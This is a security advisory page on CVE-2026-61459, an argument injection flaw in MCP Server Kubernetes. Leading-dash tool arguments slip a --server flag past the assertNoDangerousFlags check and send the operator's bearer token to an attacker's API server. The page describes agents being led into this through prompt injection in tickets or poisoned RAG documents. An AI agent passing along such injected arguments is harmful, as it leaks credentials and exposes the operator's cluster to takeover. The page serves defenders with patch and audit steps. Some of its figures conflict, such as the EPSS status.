CVE-2026-61459: MCP Server K8s arg injection

Q: Is CVE-2026-61459 actively exploited?

A working exploit for CVE-2026-61459 is published in Exploit-DB, increasing the risk of exploitation.

Q: How to fix CVE-2026-61459?

Upgrade mcp-server-kubernetes to 3.9.0 or later immediately, which contains the fix (see patch commit d7890f50a4567bf5d9842541ba6f41e180227f9a and PR #329). If immediate upgrade isn't possible, restrict the bearer token/service account used by the MCP server to least-privilege (avoid cluster-admin), and use network egress controls so the host running the MCP server can only reach the legitimate Kubernetes API server endpoint, not arbitrary attacker infrastructure. Audit logs of tool-call arguments passed to kubectl_get/kubectl_describe/kubectl_delete for resourceType or name values beginning with a dash (e.g. '-server=', '--server=') as an indicator of attempted exploitation, and rotate the bearer token if any suspicious calls are found. Treat any parameter value passed to a 'structured' MCP tool as untrusted input requiring allowlist validation, not just a check for a leading '--'.

Q: What systems are affected by CVE-2026-61459?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent tool integrations (MCP servers), Kubernetes-managed AI/ML infrastructure.

Q: What is the CVSS score for CVE-2026-61459?

CVE-2026-61459 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 2.10%.

CISO Take

MCP Server Kubernetes, an MCP tool that lets AI agents run kubectl commands against a cluster, ships a security check (assertNoDangerousFlags) meant to block dangerous flags like --server from being smuggled through the kubectl_get, kubectl_describe, and kubectl_delete tools — but versions before 3.9.0 fail to sanitize resourceType and name parameters that begin with a leading dash, letting an attacker inject --server and redirect the operator's kubectl calls to an attacker-controlled API endpoint. Any AI agent or automation using this MCP server to manage Kubernetes will hand its cluster bearer token to that rogue endpoint on the very first redirected call, and because CVSS rates this 9.8 (network, no privileges, no user interaction) with the bug documented in a public GitHub issue, exploitation requires only that an attacker can influence the tool-call arguments — a realistic bar for anything that accepts prompt input reaching this agent. It is not (yet) in CISA KEV and EPSS data isn't available, so there's no evidence of mass exploitation, but the package has only one tracked downstream dependent, a Package Risk Score of 0/100, and no exploit scanner coverage, meaning detection is entirely on the operator to build. Patch to mcp-server-kubernetes 3.9.0 immediately; until then, block or firewall outbound kubectl/API traffic from any host running this MCP server to anything other than the known cluster API server, and audit any AI agent that had tool access to kubectl_get/describe/delete for anomalous --server-style parameters in logged tool calls.

Sources: NVD GitHub Advisory github.com vulncheck.com ATLAS CISA KEV

What is the risk?

Critical (CVSS 9.8) despite the absence of KEV listing or EPSS scoring — the attack requires no authentication, no user interaction, and low complexity, and a technical write-up already exists in the public GitHub issue tracker, materially lowering the bar to reproduce. Real-world exploitability hinges on an attacker being able to influence the parameters passed to the kubectl_get/kubectl_describe/kubectl_delete tools (directly, or indirectly via a prompt-injected AI agent that has this MCP server wired in), which is a realistic scenario for any deployment exposing these tools to less-trusted input. Impact is total: the operator's Kubernetes bearer token is exfiltrated wholesale, enabling full cluster compromise (workload takeover, secrets access, RBAC abuse) rather than a narrower data leak. The package's Package Risk Score of 0/100 and only 1 tracked downstream dependent suggest limited current install base, which caps blast radius today but does not reduce per-incident severity for anyone running it.

How does the attack unfold?

Initial Access

Attacker gains the ability to influence tool-call arguments reaching the AI agent's kubectl_get/kubectl_describe/kubectl_delete tools (directly, or via prompt injection into agent-consumed content).

AML.T0053

Security Control Bypass

Attacker crafts resourceType or name parameters with a leading dash to smuggle a --server flag past the assertNoDangerousFlags check.

AML.T0107

Credential Exfiltration

The redirected kubectl command sends the operator's Kubernetes bearer token to the attacker-controlled API server.

AML.T0098

Cluster Compromise

Attacker replays the stolen bearer token against the real Kubernetes API server, achieving full cluster compromise.

AML.T0012

Initial Access

Attacker gains the ability to influence tool-call arguments reaching the AI agent's kubectl_get/kubectl_describe/kubectl_delete tools (directly, or via prompt injection into agent-consumed content).

AML.T0053

Security Control Bypass

Attacker crafts resourceType or name parameters with a leading dash to smuggle a --server flag past the assertNoDangerousFlags check.

AML.T0107

Credential Exfiltration

The redirected kubectl command sends the operator's Kubernetes bearer token to the attacker-controlled API server.

AML.T0098

Cluster Compromise

Attacker replays the stolen bearer token against the real Kubernetes API server, achieving full cluster compromise.

AML.T0012

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
MCP Server K8s	npm	—	No patch
1.6K 1 dependents Pushed 16d ago 75% patched ~20d to patch Full package profile →
MCP Server K8s	pip	< 3.9.0	`3.9.0`
1.6K 1 dependents Pushed 16d ago 75% patched ~20d to patch Full package profile →

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

2.1%

chance of exploitation in 30 days

Higher than 80% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Exploit published in Exploit-DB

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

1 step

Upgrade mcp-server-kubernetes to 3.9.0 or later immediately, which contains the fix (see patch commit d7890f50a4567bf5d9842541ba6f41e180227f9a and PR #329). If immediate upgrade isn't possible, restrict the bearer token/service account used by the MCP server to least-privilege (avoid cluster-admin), and use network egress controls so the host running the MCP server can only reach the legitimate Kubernetes API server endpoint, not arbitrary attacker infrastructure. Audit logs of tool-call arguments passed to kubectl_get/kubectl_describe/kubectl_delete for resourceType or name values beginning with a dash (e.g. '-server=', '--server=') as an indicator of attempted exploitation, and rotate the bearer token if any suspicious calls are found. Treat any parameter value passed to a 'structured' MCP tool as untrusted input requiring allowlist validation, not just a check for a leading '--'.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Data Leakage Agent Plugin AML.T0012 - Valid Accounts AML.T0053 - AI Agent Tool Invocation AML.T0098 - AI Agent Tool Credential Harvesting AML.T0107 - Exploitation for Defense Evasion

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

Clause 6.1.3 - AI risk treatment

NIST AI RMF

MEASURE 2.7 - AI system security and resilience evaluated

OWASP LLM Top 10

LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-61459?

MCP Server Kubernetes, an MCP tool that lets AI agents run kubectl commands against a cluster, ships a security check (assertNoDangerousFlags) meant to block dangerous flags like --server from being smuggled through the kubectl_get, kubectl_describe, and kubectl_delete tools — but versions before 3.9.0 fail to sanitize resourceType and name parameters that begin with a leading dash, letting an attacker inject --server and redirect the operator's kubectl calls to an attacker-controlled API endpoint. Any AI agent or automation using this MCP server to manage Kubernetes will hand its cluster bearer token to that rogue endpoint on the very first redirected call, and because CVSS rates this 9.8 (network, no privileges, no user interaction) with the bug documented in a public GitHub issue, exploitation requires only that an attacker can influence the tool-call arguments — a realistic bar for anything that accepts prompt input reaching this agent. It is not (yet) in CISA KEV and EPSS data isn't available, so there's no evidence of mass exploitation, but the package has only one tracked downstream dependent, a Package Risk Score of 0/100, and no exploit scanner coverage, meaning detection is entirely on the operator to build. Patch to mcp-server-kubernetes 3.9.0 immediately; until then, block or firewall outbound kubectl/API traffic from any host running this MCP server to anything other than the known cluster API server, and audit any AI agent that had tool access to kubectl_get/describe/delete for anomalous --server-style parameters in logged tool calls.

Is CVE-2026-61459 actively exploited?

A working exploit for CVE-2026-61459 is published in Exploit-DB, increasing the risk of exploitation.

How to fix CVE-2026-61459?

Upgrade mcp-server-kubernetes to 3.9.0 or later immediately, which contains the fix (see patch commit d7890f50a4567bf5d9842541ba6f41e180227f9a and PR #329). If immediate upgrade isn't possible, restrict the bearer token/service account used by the MCP server to least-privilege (avoid cluster-admin), and use network egress controls so the host running the MCP server can only reach the legitimate Kubernetes API server endpoint, not arbitrary attacker infrastructure. Audit logs of tool-call arguments passed to kubectl_get/kubectl_describe/kubectl_delete for resourceType or name values beginning with a dash (e.g. '-server=', '--server=') as an indicator of attempted exploitation, and rotate the bearer token if any suspicious calls are found. Treat any parameter value passed to a 'structured' MCP tool as untrusted input requiring allowlist validation, not just a check for a leading '--'.

What systems are affected by CVE-2026-61459?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent tool integrations (MCP servers), Kubernetes-managed AI/ML infrastructure.

What is the CVSS score for CVE-2026-61459?

CVE-2026-61459 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 2.10%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI agent tool integrations (MCP servers)Kubernetes-managed AI/ML infrastructure

MITRE ATLAS Techniques

AML.T0012 Valid Accounts

AML.T0053 AI Agent Tool Invocation

AML.T0098 AI Agent Tool Credential Harvesting

AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: Clause 6.1.3

NIST AI RMF: MEASURE 2.7

OWASP LLM Top 10: LLM06:2025

What are the technical details?

Original Advisory

MCP Server Kubernetes before 3.9.0 contains an argument injection vulnerability in structured tools (kubectl_get, kubectl_describe, kubectl_delete) that allows attackers to bypass the assertNoDangerousFlags security check by supplying resourceType and name parameters with leading dashes. Attackers can inject the --server flag to redirect kubectl commands to an attacker-controlled API server, causing the operator's bearer token to be transmitted externally and enabling full cluster compromise.

Exploitation Scenario

An AI agent (e.g., a DevOps copilot or on-call automation) is wired to mcp-server-kubernetes to let it inspect and remediate cluster issues, holding a Kubernetes bearer token scoped for cluster access. An attacker who can influence what the agent passes as a tool argument — via a malicious ticket description, a poisoned RAG document, or direct API access to the agent — supplies a resourceType or name value with a leading dash designed to smuggle a --server=https://attacker.example flag past the assertNoDangerousFlags check. When the agent invokes kubectl_get/kubectl_describe/kubectl_delete with that value, the underlying kubectl process sends its authenticated request — including the operator's bearer token — to the attacker's fake API server instead of the real cluster. The attacker now holds a live, valid Kubernetes credential and replays it directly against the real API server, gaining full cluster compromise: reading secrets, deploying workloads, or escalating further inside the environment.

Weaknesses (CWE)

CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Primary CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

CWE-88 — Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'): The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

[Implementation] Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
[Architecture and Design] Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Source: MITRE CWE corpus.